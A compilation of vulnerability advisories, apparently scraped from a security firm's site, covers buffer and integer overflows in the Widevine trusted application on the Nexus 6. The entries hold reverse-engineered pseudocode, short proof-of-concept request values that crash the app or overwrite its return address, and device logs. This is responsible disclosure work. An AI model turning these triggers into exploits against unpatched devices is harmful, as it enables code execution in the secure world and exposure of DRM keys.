                op\_PRDiagVerifyProvisioning    \= 0,
                op\_PRDiagClearProvisioning     \= 1,
                PRDiagMH\_FORCE\_ENUM\_32\_BITS \= (INT\_MAX | ~INT\_MAX),
        } op;
        uint32\_t compare\_flag;
        uint32\_t msg\_buf\_size;
        uint32\_t data\_len;
        // The buffer containing the input data for the PRDiagVerifyProvisioning function.
        // This data could be related to provisioning information, cryptographic keys,
        // or other DRM-related metadata.
        // NOTE: The widevine trustlet checks the size of the request buffer
        // containing the widevine\_PRDiagMaintenanceHandler\_cmd structure.
        // The entire request buffer must have at least 0x2808 bytes
        char msg\_buf\[\];
};

The relevant parts are the op value indicating the sub-command to be executed (either PRDiagVerifyProvisioning or PRDiagClearProvisioning), an input buffer called msg_buf and its size, stored in msg_buf_size.

The PRDiagMaintenanceHandler function simply copies the payload/request into a temporary heap buffer and passes it to the corresponding sub-command:

int PRDiagMaintenanceHandler(void \*payload, uint32\_t payload\_size) {
     struct widevine\_PRDiagMaintenanceHandler\_payload \*req;

     if (!payload || !payload\_size) return 0x10;

     req \= malloc(payload\_size);
     if (!req) return 0xf;

     memcpy(req, payload, payload\_size);
     if (req\->op \== 0) {
         PRDiagVerifyProvisioning(req);
     }
     else if (req\->op \== 1) {
         PRDiagClearProvisioning(req);
     }
     ...

For this bug, let’s focus on the PRDiagVerifyProvisioning sub-command. The main functionality of this function is to check the integrity and authenticity of the provisioning data by comparing it to the corresponding data stored in the Secure File System (SFS).

The following code snippet shows a simplified version of the PRDiagVerifyProvisioning function:

int PRDiagVerifyProvisioning(struct widevine\_PRDiagMaintenanceHandler\_payload \*req) {
    // Check input and operation
    if (!req || req\->op != 0) return 0x10;

    msg\_buf\_size \= req\->msg\_buf\_size;
    msg\_buf \= &req\->msg\_buf;
    ...
    if (!req\->data\_len) {
        strlen(&persist\_prefix); // result ignored
        memzero(&filePathBuffer, 0x80); // 0x2e0fc
        memcpy(&filePathBuffer, msg\_buf, msg\_buf\_size);    }
    else {
        ...

The function first performs some validations on the input and the operation being requested and then checks the data_len value. If this value is zero, it copies the user-controlled msg_buf into a buffer in the data segment (0x2e0fc). The contents and size of this buffer are directly specified by the client through the Request Buffer.

The hardcoded value of the memzero suggests that the size of this buffer is 128 bytes. However, since msg_buf_size is not being checked, this copy operation can cause a buffer overflow:

This vulnerability allows an attacker to overwrite important data structures such as the stack and heap, since they are in higher addresses within this same data segment.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50003;  // PRDiagMaintenanceHandler
req\->payload.op \= 0;    // PRDiagVerifyProvisioning
req\->payload.msg\_buf\_size \= 0x1644;
// 0x1644 overwrites ret-code in the stack
...
memset(req\->payload.msg\_buf, 'A', req\->payload.msg\_buf\_size);

The Commmand ID 0x50003 is specified to invoke PRDiagMaintenanceHandler(), and the PRDiagVerifyProvisioning operation is being specified. In addition, msg_buf_size is set to 0x1644 so that it overflows the data buffer and ends up overwriting the return code in the stack:

<5>widevine: "PRDiagMaintenanceHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagVerifyProvisioning: begins!"
<5>widevine: "PRDiagVerifyProvisioning: returned 1094795585"
<5>widevine: "PRDiagMaintenanceHandler: returned 1094795585"

It can be observed that the returning value is 1094795585, which is the decimal representation of the value 0x41414141 that comes from our msg_buf buffer. We can also verify that this value is stored in the response buffer returned by the trusted application:

\[\*\] Widevine PRDiagMaintenanceHandler => Return code: 0x41414141

Adding four more bytes to the buffer being copied allows us to overwrite the return address in the stack and thus give us control over the execution flow:

req\->cmd\_id \= 0x50003;  // PRDiagMaintenanceHandler
req\->payload.op \= 0;    // PRDiagVerifyProvisioning
req\->payload.msg\_buf\_size \= 0x1648;
// 0x1648 overwrites return address in the stack
...
memset(req\->payload.msg\_buf, 'A', req\->payload.msg\_buf\_size);

Note that the difference is that we added four bytes to msg_buf_size:

<5>widevine: "PRDiagMaintenanceHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagVerifyProvisioning: begins!"
\*\*\* crash @ 0x41414140 \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED. In this case, Widevine crashes because it ends up jumping to the address 0x41414140 coming from our msg_buf buffer.

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

CVE-2022-48335: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_verify_keys total_len+file_name_len integer overflow and resultant buffer overflow.

CVE-2022-48334:

Buffer Overflow in Widevine Trustlet (drm\_verify\_keys @ 0x7370)

 

CVE:

CVE-2022-48334

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_verify_keys() command. This command closely resembles drm_save_keys(), which has been featured in other blog entries (refer to CVE-2022-48331 and CVE-2022-48332).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50002: // drm\_verify\_keys() command
    if ((0x2a0f < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        drm\_verify\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\]  // file\_name
        );
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50002, it jumps to the drm_verify_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
};

It contains two buffers (_i.e._, feature_name and file_name) and two integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len and file_name_len, since they are directly taken from the Request Buffer.

The main functionality of drm_verify_keys() is to verify the integrity of encryption keys or DRM-related data stored within the Widevine DRM system. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent the verification process.
>     
> *   Construct a full file path using the provided feature name and file name.
>     
> *   Set the CRC (cyclic redundancy check) file path, which is used for verifying the integrity of the keys.
>     
> *   Verify the stored encryption keys or DRM-related data and check for any tampering or corruption.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len;
// ---- CVE-2022-48333 ---- //
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);
    // ----------------------- //
    \*(heap\_buf + total\_len) \= '/';
    if (total\_len + feature\_name\_len < 0xff) {
        memcpy(heap\_buf + total\_len + 1, feature\_name, feature\_name\_len);
        total\_len += (feature\_name\_len + 1);        \*(heap\_buf + total\_len) \= '/';
        // ---- CVE-2022-48334 ---- //
        if (total\_len + file\_name\_len < 0xff) {            memcpy(heap\_buf + total\_len + 1, file\_name, file\_name\_len);            ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The first part corresponds to CVE-2022-48333, where the check if (total_len < 0x100) is performed using a signed integer and can cause a buffer overflow if feature_name_len takes any value from -14 (0xfffffff2) to -1 (0xffffffff).

To pass this first check without triggering the first bug, the value of feature_name_len must be within the inclusive range of 1 to 241. Then, the code appends the feature_name string two times to the temporary heap buffer. In the previous code snippet, there is a second check on feature_name_len that constraints its value to \[1, 120\]. Finally, there is a third if that checks the value of file_name_len. At this point, the result of the addition is treated as a signed integer, which leads to an incorrect check. Consequently, this third check is bypassed when the values for file_name_len are sufficiently large:

req.feature\_name\_len \= 120; // valid values are: \[1, 120\]
req.file\_name\_len \= \-(14 + (2 \* req.feature\_name\_len) + 1);

The code after the check calls the memcpy() function to copy the contents of the file_name string into the heap buffer, using the improperly checked file_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The user has full control over the **value** of file_name_len and the **contents** of the file_name buffer in the Request Buffer.

Since there are several specific and large file_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50002;  // drm\_verify\_keys
req.feature\_name\_len \= 1;
req.file\_name\_len \= 0xffffffff;
...

The Commmand ID 0x50002 is specified to invoke drm_verify_keys(), and file_name_len is set to 0xffffffff so that the sum of total_len + file_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_verify\_keys: feature\_name 0xfff00010, feature\_name\_len 1, file\_name 0xfff00110,  file\_name\_len 4294967295"
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48334: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_save_keys integer overflow and resultant buffer overflow.

CVE-2022-48331:

Buffer Overflow in Widevine Trustlet (drm\_save\_keys @ 0x69b0)

 

CVE:

CVE-2022-48331

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_save_keys() command. This command closely resembles drm_verify_keys(), which has been featured in other blog entries (refer to CVE-2022-48333 and CVE-2022-48334).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50001: // drm\_save\_keys() command
    if ((0x2a10 < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        ...
        drm\_save\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\], // file\_name
            req\_buf + 0x84, req\_buf\[3\], // msg
            resp\_buf + 4                // prt\_path (result)
        );
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50001, it jumps to the drm_save_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    uint32\_t msg\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
    char msg\_data\[0x100\];
};

It contains three buffers (_i.e._, feature_name, file_name and msg_data) and three integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len, file_name_len and msg_len, since they are directly taken from the Request Buffer.

The main functionality of drm_save_keys() is securely storing encryption keys or DRM-related data. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent key storage.
>     
> *   Construct a file path using the provided feature name and file name.
>     
> *   Write the message data, which may contain encryption keys or DRM-related information, to a Secure File System (SFS).
>     
> *   Compute and store a CRC value for the written data to ensure data integrity and error detection.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len; // Signed int
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);    ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The bug is present in this calculation. Since total_len is a signed integer, this calculation causes an integer overflow if the sum of prefix_len and feature_name_len is large enough, resulting in a negative value for total_len. As a result, the subsequent if statement passes even if the actual total length of the string is greater than the allocated buffer size.

Since the check is if (total_len < 0x100), for the condition 14 + feature_name_len < 0x100 to be triggered, the value of feature_name_len must be within the inclusive range of -14 to 241.

The code after the check calculates again the prefix_len and calls the memcpy() function to copy the contents of the feature_name string into the buffer, immediately following the persist_prefix, using feature_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The range of values for feature_name_len that can cause a buffer overflow extends from -14 (0xfffffff2) to -1 (0xffffffff).

The user has full control over the **value** of feature_name_len and the **contents** of the feature_name buffer in the Request Buffer.

Since there are 14 specific and large feature_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50001;  // drm\_save\_keys;
req\->feature\_name\_len \= 0xffffffff;
req\->file\_name\_len \= 1;
req\->msg\_len \= 1;
...

The Commmand ID 0x50001 is specified to invoke drm_save_keys(), and feature_name_len is set to 0xffffffff so that the sum of prefix_len + feature_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_save\_keys: feature\_name 0xfff00010, feature\_name\_len 4294967295, file\_name 0xfff00110, file\_name\_len 1, msg\_data 0xfff00210
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48331: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trustlet versions 5.x, 6.x, and 7.x suffer from a buffer overflow vulnerability in PRDiagParseAndStoreData at 0x5cc8.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48336[+] Title              : Buffer Overflow in Widevine Trustlet (PRDiagParseAndStoreData @ 0x5cc8)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).3. DETAILS----------Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.The bug is present in Widevine’s PRDiagProvisionDataHandler() command.For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48336_Buffer_Overflow_in_Widevine_PRDiagParseAndStoreData_0x5cc8/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

Widevine Trustlet 5.x / 6.x / 7.x PRDiagParseAndStoreData Buffer Overflow

Widevine Trustlet versions 5.x, 6.x, and 7.x suffer from a buffer overflow vulnerability in PRDiagVerifyProvisioning at 0x5f90.

    1. INFORMATION--------------[+] CVE                : CVE-2022-48335[+] Title              : Buffer Overflow in Widevine Trustlet (PRDiagVerifyProvisioning @ 0x5f90)[+] Vendor             : Google[+] Device             : Nexus 6[+] Affected component : Widevine[+] Publication date   : March 2023[+] Credits            : CyberIntel Team2. AFFECTED VERSIONS--------------------5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).3. DETAILS----------To the best of our knowledge, the vulnerability described in this post has been incorrectly associated with CVE-2015-6639. After consulting with MITRE, it has been confirmed that this vulnerability had no assigned identifier. Consequently, CVE-2022-48335 has been assigned to this vulnerability. On the other hand, it has been confirmed that CVE-2015-6639 does exist and corresponds with a different vulnerability reported by Google. We have notified all the concerned parties about this misunderstanding so that the confusion can be amended.Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series. Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices. An attacker with high privileges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system. On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.The bug is present in Widevine’s PRDiagVerifyProvisioning() command. This command closely resembles PRDiagClearProvisioning(), which has been featured in other blog entries (refer to CVE-2015-6647).For more details and full proof of concept visit https://cyberintel.es/cve/CVE-2022-48335_Buffer_Overflow_in_Widevine_PRDiagVerifyProvisioning_0x5f90/--Cyber Intel Team.Zero Lab - https://cyberintel.es/

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